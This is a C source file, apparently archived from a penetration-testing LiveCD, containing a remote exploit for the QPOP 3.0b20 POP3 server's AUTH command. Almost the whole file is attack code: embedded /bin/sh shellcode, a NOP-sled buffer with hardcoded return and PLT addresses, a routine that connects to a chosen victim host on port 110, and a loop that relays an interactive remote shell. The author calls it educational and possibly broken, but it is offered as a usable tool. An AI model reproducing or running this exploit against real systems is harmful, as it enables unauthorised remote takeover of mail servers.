home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop-auth.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  455 lines

  1. /*
  2.  *   QPOP3.0b20 REMOTE EXPLOIT, DISCOVERED AND EXPLOITED BY p0rTaL 
  3.  *               - Linux(x86), non-executable stack -
  4.  *
  5.  *      This I discovered in my  QPOP3.0 audit, November 20th 1999.
  6.  *   The information  about this  bug was leaked, and  the credits
  7.  *   stolen from its rightful owners.
  8.  *      I doubt that the code works, because it's so hacked. Worked
  9.  *   for non-executable stack, though, but the offsets will differ.
  10.  *   (This is old so I don't bother fixing it)
  11.  *
  12.  *      Greetings to the fellow security.is staff, \x90, DiGiT, duke
  13.  *   and doze, scut (who also found this vulnerability), xdr (for
  14.  *   help), #!teso and #hax (ircnet), among with many others.
  15.  *
  16.  *      This is intended for educational purposes only.
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <netdb.h>
  23. #include <netinet/in.h>
  24. #include <sys/time.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <arpa/inet.h>
  28. #include <getopt.h>
  29. #include <unistd.h>
  30. #include <signal.h>
  31.  
  32.  
  33. #define MAX_TYPE           1
  34. #define MAX_SHELLCODE      2
  35. #define NOP                '\x90' /* x86 only */
  36. #define APPEND_ADDRESSES   3
  37.  
  38. #define STRCPY_PLT     0x804bf59  // (change me!)
  39. #define FREE_HEAP_ADDR 0x804d001  // (probably me too)
  40.  
  41.  
  42. #define HARDCORE
  43. #define DEBUG
  44.  
  45.  
  46. int sock           = -1;
  47. int port           = 110;  //this ought to be the default
  48. int type           = 0;
  49. int shellcode_num  = -1;   //use the default
  50. int offset         = 0;
  51. int impact_place   = 986;
  52. int appenders      = APPEND_ADDRESSES;
  53. unsigned char buffer[2500];
  54. struct in_addr in;
  55. char *victim = NULL;
  56.  
  57.  
  58. typedef struct
  59.   {
  60.     char *platform;
  61.     char *function;
  62.     char *code;
  63.   }
  64. SHELLCODE;
  65.  
  66.  
  67. typedef struct
  68.   {
  69.     char *platform;
  70.     char *version;
  71.     char *tested_on;
  72.     SHELLCODE *shellcode;
  73.     unsigned long address;
  74.   }
  75. PLATFORM;
  76.  
  77.  
  78. SHELLCODE shellcodes[] =
  79.   {
  80.     {
  81.       "Linux", "Standard dup2() /bin/bash interactive pipe",
  82.       "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  83.       "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  84.       "\xff\xff/bin/sh"
  85.     },
  86. /* needs attendence if intended to be used, due to isupper()
  87. {  
  88. "Linux glibc", "Standard dup2() /bin/bash interactive pipe",
  89. "\x31\xdb\xb0\x1b\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x85\xc0"
  90. "\x75\x32\x31\xdb\x89\xd9\xb1\x01\x31\xc0\xb0\x3f\xcd\x80"
  91. "\x31\xdb\x89\xd9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\xeb\x1f" //aleph1 at 21. byte
  92. "\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  93. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" 
  94. "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
  95. }, */{
  96.   NULL, NULL, NULL
  97. }
  98.   };
  99.  
  100.  
  101. PLATFORM platforms[] =
  102.   {
  103.     {  "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbfffefb0  },
  104.     {  NULL, NULL, NULL, 0, 0  }
  105.   };
  106.  
  107.  
  108. struct
  109.   {
  110.     __u8 on;
  111.     unsigned long start;
  112.     unsigned long now;
  113.     unsigned long end;
  114.     int step;
  115.   }
  116. bruteforce;
  117.  
  118.  
  119.  
  120. void do_lookup (void)
  121. {
  122.   struct hostent *he;
  123.  
  124.   if ( (he = gethostbyname (victim)) != NULL)
  125.     {
  126.       memcpy (&in, he->h_addr, he->h_length);
  127.       printf ("Resolved %s to %s\n", victim, inet_ntoa(in));
  128.     }
  129.   else
  130.     if ( (inet_aton (victim, &in)) < 0)
  131.       {
  132.         fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno);
  133.         exit (-1);
  134.       }
  135.  
  136.   if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  137.     {
  138.       fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno);
  139.       exit (-1);
  140.     }
  141. }
  142.  
  143.  
  144. void do_connect (void)
  145. {
  146.   struct sockaddr_in si;
  147.  
  148.   memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well
  149.   si.sin_family      = AF_INET;
  150.   si.sin_addr.s_addr = in.s_addr;
  151.   si.sin_port        = htons(port);
  152.  
  153.   if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0)
  154.     {
  155.       fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno);
  156.       exit (-1);
  157.     }
  158.  
  159.  
  160.   //   connect (sock, (struct sockaddr *)&si, sizeof(si));
  161. }
  162.  
  163.  
  164.  
  165.  
  166. void usage(char *progname)
  167. {
  168.   int i;
  169.  
  170.   printf ("QPOP3.0 REMOTE EXPLOIT, DISCOVERED AND EXPLOITED BY p0rTaL\n\n");
  171.   printf ("%s <hostname> [-p port] [-t type] [-o offset] [-s shellcode] [-bruteforce]\n", progname);
  172.   printf ("Currently supported platforms:\n");
  173.  
  174.   for (i = 0; platforms[i].platform != NULL; i++)
  175.     printf ("%d: %s %s, QPOP %s, shellcode %s - %#x\n", i, platforms[i].platform, platforms[i].tested_on,
  176.             platforms[i].version, platforms[i].shellcode->platform, platforms[i].address);
  177.  
  178.   printf ("\nCurrent shellcodes:\n");
  179.   for (i = 0; shellcodes[i].platform != NULL; i++)
  180.     printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function);
  181.  
  182.   printf ("\n    This exploit is for demonstration purposes only. You, and only you, are\n");
  183.   printf ("                      responsible for your OWN actions.\n\n");
  184.   exit (0);
  185. }
  186.  
  187.  
  188.  
  189. void receive (void)
  190. {
  191.   unsigned char buf[1500+1];
  192.   int i;
  193.  
  194.   memset (buf, '\0', sizeof(buf));
  195.   if ( (read (sock, buf, sizeof(buf)-1)) < 0)
  196.     {
  197.       fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno);
  198.       close (sock);
  199.       exit (-1);
  200.     }
  201.   printf ("READ: \033[1;34m");
  202.   for (i = 0; i < strlen(buf); i++)
  203.     printf ("%02x  ", buf[i]);
  204.  
  205.   printf ("\033[0;37m\n(%s)\n", buf);
  206. }
  207.  
  208.  
  209. void transmit (char *string)  //no need for a VA list
  210. {
  211.   if ( (write (sock, string, strlen(string))) < 0)
  212.     {
  213.       fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno);
  214.       exit (-1);
  215.     }
  216. }
  217.  
  218.  
  219. void terminal (int sock)
  220. {
  221.   char buffer[1024+1];
  222.   fd_set remote_fds;
  223.   fd_set local_fds;
  224.   int i;
  225.  
  226.   for (i = 0; i < NSIG; i++)
  227.     if (i != SIGINT) //allow the user to ctrl+c out
  228.       signal (i, SIG_IGN);
  229.  
  230.   FD_ZERO (&local_fds);
  231.   FD_SET (0, &local_fds);
  232.   FD_SET (sock, &local_fds);
  233.  
  234.   while (1)
  235.     {
  236.       memcpy (&remote_fds, &local_fds, sizeof(local_fds));
  237.       if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0)
  238.         {
  239.           fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno);
  240.           exit(-1);
  241.         }
  242.       if (i == 0)
  243.         {
  244.           fprintf (stderr, "Session was terminated remotely.\n");
  245.           exit(0);
  246.         }
  247.       if (FD_ISSET (sock, &remote_fds))
  248.         {
  249.           if ( (i = read(sock, buffer, sizeof(buffer))) < 0)
  250.             {
  251.               /* the user got disconnected, most probably */
  252. #ifdef DEBUG
  253.               fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
  254. #endif
  255.               exit(0);
  256.             }
  257.           write (1, buffer, i); //stdout, receive
  258.           //         receive();
  259.         }
  260.  
  261.  
  262.       if (FD_ISSET (0, &remote_fds))
  263.         {
  264.           memset (buffer, '\0', sizeof(buffer));
  265.           if ( (i = read(0, buffer, sizeof(buffer))) < 0)
  266.             {
  267.               fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
  268.               exit(-1);
  269.             }
  270.           write (sock, buffer, i); //transmit
  271.         }
  272.  
  273.     }
  274. }
  275.  
  276.  
  277.  
  278. int main(int argc, char **argv)
  279. {
  280.   int i, next_arg = 0;
  281.   char *o = NULL;
  282.   char *progname = argv[0];
  283.  
  284.   if (argc < 2)
  285.     usage(progname);
  286.  
  287.   memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce));
  288.  
  289.   victim = (char *)strdup(argv[1]);
  290.   argv++;
  291.   argc--;
  292.  
  293.   while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF)
  294.     switch (next_arg)
  295.       {
  296.       case 'p':
  297.         if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) )
  298.           {
  299.             fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n");
  300.             usage (progname);
  301.           }
  302.         port = atoi(optarg);
  303.         printf (" -> Port set to %d.\n", port);
  304.         break;
  305.       case 't':
  306.         if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) )
  307.           {
  308.             fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE);
  309.             usage (progname);
  310.           }
  311.         type = atoi(optarg);
  312.         printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on);
  313.         break;
  314.       case 's':
  315.         if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) )
  316.           {
  317.             fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE);
  318.             usage (progname);
  319.           }
  320.         shellcode_num = atoi(optarg);
  321.         printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function);
  322.         break;
  323.       case 'o':
  324.         if (bruteforce.on == 1)
  325.           {
  326.             fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n");
  327.             exit (-1);
  328.           }
  329.         offset = atoi(optarg);
  330.         printf (" -> Offset set to %d.\n", offset);
  331.         break;
  332.       case 'b':
  333.         bruteforce.on = 1;
  334.         printf (" -> Bruteforce mode selected, UNIMPLEMENTED\n");
  335.         exit(-1);
  336.         printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"0xbfffffff 0xbfff0000 4\"):\n   ");
  337.         if ( (fscanf (stdin, "%#x %#x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3)
  338.           {
  339.             fprintf (stderr, "Unknown offsets.\n");
  340.             exit (-1);
  341.           }
  342.         break;
  343.       case 'i':
  344.         impact_place = atoi(optarg);
  345.         printf (" -> Place of impact set to %d.\n", impact_place);
  346.         break;
  347.       case 'r':
  348.         appenders = atoi(optarg);
  349.         printf (" -> Number of return addresses set to %d.\n", appenders);
  350.         break;
  351.       default:
  352.         fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg);
  353.         usage (progname);
  354.         break;
  355.       }
  356.  
  357.   do_lookup();
  358.  
  359.   printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on);
  360.  
  361.   if (shellcode_num != -1)
  362.     {
  363.       platforms[type].shellcode = &(shellcodes[shellcode_num]);
  364.       printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform);
  365.     }
  366.   else
  367.     printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform);
  368.  
  369.   if (bruteforce.on == 0)
  370.     {
  371.       platforms[type].address -= offset;
  372.       printf (" - Using return address %#x\n", platforms[type].address);
  373.       printf ("\nAssembling shellspawning code\n");
  374.     }
  375.   else
  376.     printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step);
  377.  
  378.   memset (buffer, '\0', sizeof(buffer));
  379.   strcpy (buffer, "auth "); //the bug lies in pop_auth.c
  380.  
  381. #ifdef DEBUG
  382.   printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  383. #endif
  384.  
  385.   memset (buffer+5, NOP, sizeof(buffer)-4); //
  386.  
  387. #ifdef DEBUG
  388.   printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  389. #endif
  390.  
  391.   strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code,
  392.            sizeof(buffer) - impact_place - 5 - 1);
  393.   //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1);
  394.  
  395. #ifdef DEBUG
  396.   printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  397. #endif
  398.  
  399.   i = 0;
  400.  
  401.   /*
  402.      o      = buffer + strlen(buffer);
  403.      *(o)   = (platforms[type].address & 0x000000ff);
  404.      *(o+1) = (platforms[type].address & 0x0000ff00) >> 8;
  405.      *(o+2) = (platforms[type].address & 0x00ff0000) >> 16;
  406.      *(o+3) = (platforms[type].address & 0xff000000) >> 24;
  407.      *(o+4) = '\0';
  408.   */
  409.  
  410.   /* rather silly */
  411.   i = strlen(buffer);
  412.   //   *(long *)&buffer[i] = platforms[type].address;i += 4;
  413.   *(long *)&buffer[i] = platforms[type].address;
  414.   i += 4;
  415.   *(long *)&buffer[i] = STRCPY_PLT;
  416.   i += 4;
  417.   *(long *)&buffer[i] = STRCPY_PLT;
  418.   i += 4;
  419.   *(long *)&buffer[i] = FREE_HEAP_ADDR;
  420.   i += 4;
  421.   *(long *)&buffer[i] = FREE_HEAP_ADDR;
  422.   i += 4;
  423.   *(long *)&buffer[i] = platforms[type].address;
  424.   i += 4;
  425.  
  426. #ifdef HARDCORE
  427.   printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
  428. #endif
  429.  
  430.   strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically
  431.  
  432.   printf ("Connecting to %s, port %d\n", inet_ntoa(in), port);
  433.  
  434.   do_connect();
  435.  
  436. #ifdef HARDCORE
  437.   printf ("Code is:\n\033[1;31m");
  438.   for (i = 0; i < strlen(buffer); i++)
  439.     printf ("%02x  ", buffer[i]);
  440.  
  441.   printf ("\033[0;37m\n");
  442. #endif
  443.  
  444.   receive ();
  445.   transmit (buffer);
  446.   receive ();
  447.   printf ("Got shell!\n");
  448.  
  449.   terminal (sock);
  450.  
  451.   close (sock); //not reached
  452.  
  453.   return (0);
  454. }
  455. /*                    www.hack.co.za           [8 June 2000]*/